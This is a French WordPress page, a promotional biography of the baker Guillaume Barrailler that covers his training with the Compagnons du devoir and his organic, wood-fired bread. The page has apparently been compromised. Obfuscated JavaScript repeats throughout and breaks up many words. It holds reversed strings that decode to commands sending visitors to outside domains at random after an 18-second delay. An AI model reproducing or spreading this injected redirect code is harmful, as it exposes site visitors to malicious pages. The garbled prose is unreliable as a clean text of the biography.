) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top_multiplier= »3x » padding_bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_multiplier= »4x » section_id= »biographie » bg_color= »#f2efed »]
[vc_custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading text= »Maître BOULANGER » font_container= »tag:h2|font_size:20|text_align:center|color:%23e5b767|line_height:1.2″ google_fonts= »font_family:Merriweather%3A300%2C300italic%2Cregular%2Citalic%2C700%2C700italic%2C900%2C900italic|font_style:700%20bold%20regular%3A700%3Anormal »][vc_custoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_heading text= »Guillaume Barrailler » font_container= »tag:h3|font_size:52|text_align:center|color:%2356060e » google_fonts= »font_family:Great%20Vibes%3Aregular|font_style:400%20regular%3A400%3Anormal »]

A l’âge de sept ans, juste après avoir visité une boulangerie Guillaume
Barrailler eut la certitude qu’il serait lui-même boulanger ; comme si la vision de
son futur toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tournoyait déjà entre les bras du pétrin. Son esprit était en parfaite
harmonie avec la matière, l’odeur, la nuit…

Après une formation classique de deux années en boulangerie et deux années en
pâtisserie, à dix-neuf ans, Guillaume réussit son adoption chez les compagnons
du devoir et entame un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de France : Paris, Tours, Saumur, Bordeaux… puis
les Etats-Unis. Au cours duquel furent entremêlés quantités de stages ; Nîmes,
Rennes, Strasbourg, Lyon… où chaque compagnon prenait plaisir à entrer en
compétition, s’affrontant sans cesse mais toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours en toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute fraternité.
Devenu à son toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour formateur pour adultes et enfants, Guillaume, débordant
d’enthousiasme, a transmis son savoir avec un profond bonheur. L’étymologie du
mot « Compagnon » voulant dire : celui qui partage le pain, Guillaume est bien en
adéquation avec la vision qu’il se fait du métier.
La suite logique est donc l’ouverture de sa propre boulangerie.

Chaque jour à Vienne, la quantité de pain inutilisée, et vouée à la destruction,
pourrait nourrir la seconde plus grande ville d’Autriche, Graz…

Cette phrase, tirée du film d’Erwin Wagenhofer : WE FEED THE WORLD, n’est
pas surprenante puisqu’elle pourrait s’appliquer à toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les grandes villes du
monde.
En effet, en devenant industriel et d’une blancheur immaculée, le pain abandonna
son âme dans les bas-fonds de la cupidité. De nos jours, l’expression « manger
son pain blanc » n’est plus synonyme de prospérité, mais bien le signe d’un
rendement et d’un refus de l’authentique.

Le pain de Guillaume Barrailler, c’est celui des campagnes d’antan, celui qui, sur
une grande table de bois, ne se posait pas sur le dos. Le pain de Guillaume est
identique à celui des paysans de jadis, quand ceux-ci traçaient une croix à la
pointe de leur couteau avant de le trancher.
Le pain de Guillaume, c’est l’amour dans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute sa pureté, c’est l’authenticité
retrouvé par les quatre éléments : l’eau, la terre le feu et l’air…
A l’heure où notre société inflige à la nature autant de maltraitance, il est
alors bon de savoir qu’il reste encore quelques boulangers à façonner le pain de
naguère, celui d’avant la grande guerre. Guillaume Barrailler fait partie de ceux-là.
Soucieux de la protection de l’environnement, les ingrédients qu’il utilise sont
issus à 100 % de l’agriculture biologique. L’eau est osmosée, l’énergie électrique
est renouvelable, la cuisson du pain est faite au four à granules de bois.
En toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute confiance, Guillaume vous fera déguster son pain. C’est seulement après
vos nobles impressions qu’il vous le vendra.
Le premier pas pour aller à sa rencontre n’appartient qu’à vous.

 

Mr Vincent ORVILLE